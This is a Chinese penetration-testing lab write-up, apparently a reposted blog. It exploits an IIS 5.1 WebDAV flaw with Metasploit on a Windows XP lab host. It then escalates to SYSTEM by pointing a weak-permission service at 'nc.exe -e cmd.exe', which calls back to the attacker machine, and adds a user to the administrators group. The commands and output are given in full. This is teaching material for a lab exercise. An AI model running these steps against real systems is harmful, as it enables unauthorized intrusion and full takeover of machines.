nmap 渗透实列2
来源:互联网 发布:java面向对象视频 编辑:程序博客网 时间:2024/05/16 08:36
nmap 渗透实列2
0x00 前言
该实列在上一实列的基础上 增加了提权的操作
0x01 案例分析
实验环境:
目标靶机:10.11.1.0/24攻击机:Kali Linux (10.11.0.90)
渗透过程:
我们今天选取的目标靶机的IP为10.11.1.13。废话不多说,依旧nmap做端口探测。
# nmap -sS -sV -p 1-1024 -Pn 10.11.1.13Starting Nmap 7.50 ( https://nmap.org ) at 2017-08-10 23:19 CSTNmap scan report for 10.11.1.13Host is up (0.33s latency).Not shown: 1022 filtered portsPORT STATE SERVICE VERSION21/tcp open ftp Microsoft ftpd80/tcp open http Microsoft IIS httpd 5.1MAC Address: 00:50:56:89:42:08 (VMware)Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
分析扫描结果,目标靶机存在ftp服务和IIS5.1服务。
首先检查ftp是否存在匿名登录.
# ftp 10.11.1.13Connected to 10.11.1.13.220 Microsoft FTP ServiceName (10.11.1.13:root): anonymous331 Anonymous access allowed, send identity (e-mail name) as password.Password:230 Anonymous user logged in.Remote system type is Windows_NT.ftp> ls200 PORT command successful.150 Opening ASCII mode data connection for /bin/ls.01-17-07 07:42PM <DIR> AdminScripts01-17-07 07:43PM <DIR> ftproot01-17-07 07:43PM <DIR> iissamples01-17-07 07:43PM <DIR> Scripts08-22-17 09:27PM <DIR> wwwroot226 Transfer complete.ftp>
果然,存在ftp匿名登录问题且存在IIS的wwwroot目录。这样一个思路很自然就出现了,上传webshell至wwwroot目录即可,这里就不详细说明了。另外还有一个思路,从上面的扫描结果我们知道目标机器上运行了IIS5.1,搜索exploit-db我们发现了一个IIS WebDAV Write Access Code Execution漏洞且存在现成的Metasploit的利用模块,既然如此我们便来用MSF利用一下。
msf > use exploit/windows/iis/iis_webdav_upload_aspmsf exploit(iis_webdav_upload_asp) > set RHOST 10.11.1.13RHOST => 10.11.1.13msf exploit(iis_webdav_upload_asp) > set PATH /hahaha.aspPATH => /hahaha.aspmsf exploit(iis_webdav_upload_asp) > run[*] Started reverse TCP handler on 10.11.0.90:4444 [*] Checking /hahaha.asp[*] Uploading 609362 bytes to /hahaha.txt...[*] Moving /hahaha.txt to /hahaha.asp...[*] Executing /hahaha.asp...[-] Execution failed on /hahaha.asp [No Response][*] Exploit completed, but no session was created.msf exploit(iis_webdav_upload_asp) > exploit[*] Started reverse TCP handler on 10.11.0.90:4444 [*] Checking /hahaha.asp[*] Sending stage (957487 bytes) to 10.11.1.13[*] Meterpreter session 3 opened (10.11.0.90:4444 -> 10.11.1.13:3287) at 2017-08-12 05:57:47 +0800[-] Connection timed out while trying to checking /hahaha.aspmeterpreter >
我们成功地获得了meterpreter,接下来的任务就是看看我们是否是SYSTEM权限了。
meterpreter > getuidServer username: BOB\IWAM_BOBmeterpreter > sysinfoComputer : BOBOS : Windows XP (Build 2600, Service Pack 1).Architecture : x86System Language : en_USDomain : WORKGROUPLogged On Users : 3Meterpreter : x86/windowsmeterpreter > hashdump[-] priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.
但是,这次似乎我们没有那么幸运了,我们的meterpreter并不是SYSTEM权限,但是我们获得了以下信息:
- 目标机器是:Windows XP SP1
当前的登录账户是:IWAM_BOB
接下来,当然要思考的问题就是提权了。一般,提权有以下几种方式:
- 利用系统自带的服务或者系统本身的提权漏洞的exp,如:MS16-016(CVE-2016-0051)
- 利用安全的第三方的软件的漏洞来进行提权,如: MYSQL(CVE-2016-6662/6663)
- 还有一种极容易被大家忽略,即利用不正确文件和服务的权限设置
本案例中,主要演示一下第三种的提权方法。在开始提权之前,我们需要用到2个小工具:
- icacls(适用于win7及以上系统)/cacls (适用于winxp及win2000系统) – 系统默认工具,用于检查某个具体的文件夹或者文件的权限配置信息
accesschk (sysinternals工具集之一) – 用于检查一个具体的用户或者组对于文件,目录,注册表,全局对象以及windows服务的权限信息
有了这2个有用的工具,我们便可以来进行提权尝试了。
首先,进入shell,查看系统目录,发现IIS的web目录的路径是:C:\Inetpub\wwwroot\
meterpreter > shellProcess 2544 created.Channel 2 created.Microsoft Windows XP [Version 5.1.2600](C) Copyright 1985-2001 Microsoft Corp.C:\WINDOWS\system32>cd c:\inetpubcd c:\inetpubC:\Inetpub>dirdir Volume in drive C has no label. Volume Serial Number is 50C3-3741 Directory of C:\Inetpub08/22/2017 06:30 PM <DIR> .08/22/2017 06:30 PM <DIR> ..01/17/2007 07:42 PM <DIR> AdminScripts01/17/2007 07:43 PM <DIR> ftproot01/17/2007 07:43 PM <DIR> iissamples08/22/2017 01:50 AM <DIR> Scripts08/22/2017 06:27 PM <DIR> wwwroot 11 File(s) 3,183,328 bytes 7 Dir(s) 1,645,780,992 bytes free
接着,上传我们的工具,如;accesschk,netcat.
meterpreter > upload accesschk_xp.exe c:\inetpub\accesschk_xp.exe
[*] uploading : accesschk_xp.exe -> c:\inetpub\accesschk_xp.exe
[*] uploaded : accesschk_xp.exe -> c:\inetpub\accesschk_xp.exe
meterpreter > upload nc.exe c:\inetpub\nc.exe
[*] uploading : nc.exe -> c:\inetpub\nc.exe
[*] uploaded : nc.exe -> c:\inetpub\nc.exe
执行accesschk来检查当前用户IWAM_BOB具有写权限的windows服务,因为这些服务配置了过高的权限将有利于我们来实现提权操作。
C:\Inetpub>accesschk_xp.exe /accepteula -uwcqv IWAM_BOB * > ack.txtaccesschk_xp.exe /accepteula -uwcqv IWAM_BOB * > ack.txtC:\Inetpub>dirdir Volume in drive C has no label. Volume Serial Number is 50C3-3741 Directory of C:\Inetpub08/22/2017 07:16 PM <DIR> .08/22/2017 07:16 PM <DIR> ..08/22/2017 07:15 PM 380,608 accesschk_xp.exe08/22/2017 07:16 PM 67 ack.txt01/17/2007 07:42 PM <DIR> AdminScripts01/17/2007 07:43 PM <DIR> ftproot01/17/2007 07:43 PM <DIR> iissamples08/22/2017 07:15 PM 59,392 nc.exe01/17/2007 07:43 PM <DIR> Scripts08/22/2017 07:13 PM <DIR> wwwroot 3 File(s) 440,067 bytes 7 Dir(s) 1,670,123,520 bytes freeC:\Inetpub>type ack.txttype ack.txtRW SSDPSRV SERVICE_ALL_ACCESSRW upnphost SERVICE_ALL_ACCESS
显然,我们找到了2个满足条件的windows服务,分别是SSDPSRV和upnphost。任意选择一个服务检查一下,如:SSDPSRV
C:\Inetpub>accesschk_xp.exe /accepteula -ucqv SSDPSRVaccesschk_xp.exe /accepteula -ucqv SSDPSRVSSDPSRV RW NT AUTHORITY\SYSTEM SERVICE_ALL_ACCESS RW BUILTIN\Administrators SERVICE_ALL_ACCESS RW NT AUTHORITY\Authenticated Users SERVICE_ALL_ACCESS RW BUILTIN\Power Users SERVICE_ALL_ACCESS RW NT AUTHORITY\LOCAL SERVICE SERVICE_ALL_ACCESS
简单分析一下这个服务,我们可以发现这个服务可以使用NT AUTHORITY\SYSTEM权限来启动我们指定的二进制文件,也就是说我们可以以SYSTEM权限来反弹一个shell继而完成提权操作,具体操作命令如下:
C:\Inetpub>sc qc SSDPSRVsc qc SSDPSRV[SC] GetServiceConfig SUCCESSSERVICE_NAME: SSDPSRV TYPE : 20 WIN32_SHARE_PROCESS START_TYPE : 4 DISABLED ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\WINDOWS\System32\svchost.exe -k LocalService LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : SSDP Discovery Service DEPENDENCIES : SERVICE_START_NAME : NT AUTHORITY\LocalService C:\Inetpub>sc config SSDPSRV binpath= "c:\inetpub\nc.exe -nv 10.11.0.90 9090 -e cmd.exe"sc config SSDPSRV binpath= "c:\inetpub\nc.exe -nv 10.11.0.90 9090 -e cmd.exe"[SC] ChangeServiceConfig SUCCESSC:\Inetpub>sc config SSDPSRV obj= ".\LocalSystem" password= ""sc config SSDPSRV obj= ".\LocalSystem" password= ""[SC] ChangeServiceConfig SUCCESSC:\Inetpub>sc config SSDPSRV start= "demand"sc config SSDPSRV start= "demand"[SC] ChangeServiceConfig SUCCESSC:\Inetpub>sc qc SSDPSRVsc qc SSDPSRV[SC] GetServiceConfig SUCCESSSERVICE_NAME: SSDPSRV TYPE : 20 WIN32_SHARE_PROCESS START_TYPE : 3 DEMAND_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : c:\inetpub\nc.exe -nv 10.11.0.90 9090 -e cmd.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : SSDP Discovery Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem
至此,我们已经把SSDPSRV服务配置成了使用SYSTEM权限来执行nc反弹shell的服务了。
直接在攻击机(10.11.0.90)上重新开启一个监听窗口,如下:
root@kali:~# nc -lvvp 9090
listening on [any] 9090 …
在目标靶机(10.11.1.13)上开启SSDPSRV服务。
C:\Inetpub>net start SSDPSRV
net start SSDPSRV
The service is not responding to the control function.
最后,我们成功地反弹了一个SYSTEM权限的shell回来。
root@kali:~# nc -lvvp 9090listening on [any] 9090 ...Warning: forward host lookup failed for bogon: Unknown hostconnect to [10.11.0.90] from bogon [10.11.1.13] 3015Microsoft Windows XP [Version 5.1.2600](C) Copyright 1985-2001 Microsoft Corp.C:\WINDOWS\system32>net localgroup administratorsnet localgroup administratorsAlias name administratorsComment Administrators have complete and unrestricted access to the computer/domainMembers-------------------------------------------------------------------------------AdministratorThe command completed successfully.C:\WINDOWS\system32>net localgroup administrators IWAM_BOB /addnet localgroup administrators IWAM_BOB /addThe command completed successfully.C:\WINDOWS\system32>ipconfigipconfigWindows IP ConfigurationEthernet adapter Local Area Connection: Connection-specific DNS Suffix . : IP Address. . . . . . . . . . . . : 10.11.1.13 Subnet Mask . . . . . . . . . . . : 255.255.0.0 Default Gateway . . . . . . . . . : 10.11.1.220C:\WINDOWS\system32>cd c:\cd c:\C:\>dir /b /s proof.txtdir /b /s proof.txtC:\Documents and Settings\Administrator\Desktop\proof.txt
0x02 小结
总结一下本案例的渗透过程:
- nmap进行端口探测
- 分析漏洞服务并利用
- 获取meterpreter shell并检查不安全的windows服务
- 配置windows服务以SYSTEM权限来执行反弹shell
开启windows服务获取SYSTEM权限的shell
0x03 参考
http://fuzzysecurity.com/tutorials/16.html
本文转自
安全小飞侠的窝【http://avfisher.win/archives/766】
- nmap 渗透实列2
- Nmap 渗透实列
- 渗透测试工具Nmap
- 渗透工具之nmap
- Nmap与渗透测试数据库
- 渗透工具之nmap使用
- kali渗透测试工具:Nmap
- 利用Nmap对MS-SQLSERVER进行渗透
- 渗透测试工具Nmap的攻防战
- 渗透测试之Nmap命令(一)
- 渗透测试之Nmap命令(二)
- 渗透测试之Nmap命令(二)
- 渗透测试之Nmap命令(一)
- nmap在渗透测试中的常用命令
- 渗透测试之信息收集nmap篇
- [Nmap渗透测试指南]第一章(Nmap基础)+第二章(Nmap主机发现)
- 渗透测试工具Nmap从初级到高级
- 渗透测试之Nmap命令(三) idle 扫描
- Spark基础-Scala类型参数编程
- JMeter-配置元件-用户定义的变量
- Linux平台的boost安装全解
- 手机屏的HD、FHD和QHD
- GBDT与RF的区别
- nmap 渗透实列2
- JavaScript进阶:深入理解数据类型
- 那些值得看的博客(随笔/感悟)
- footer固定在页面底部的几种方法
- python字符串中取数字
- 区域连通个数问题
- UVA
- vs2013 格式化代码 快捷键
- python 数据结构六 之 字典与集合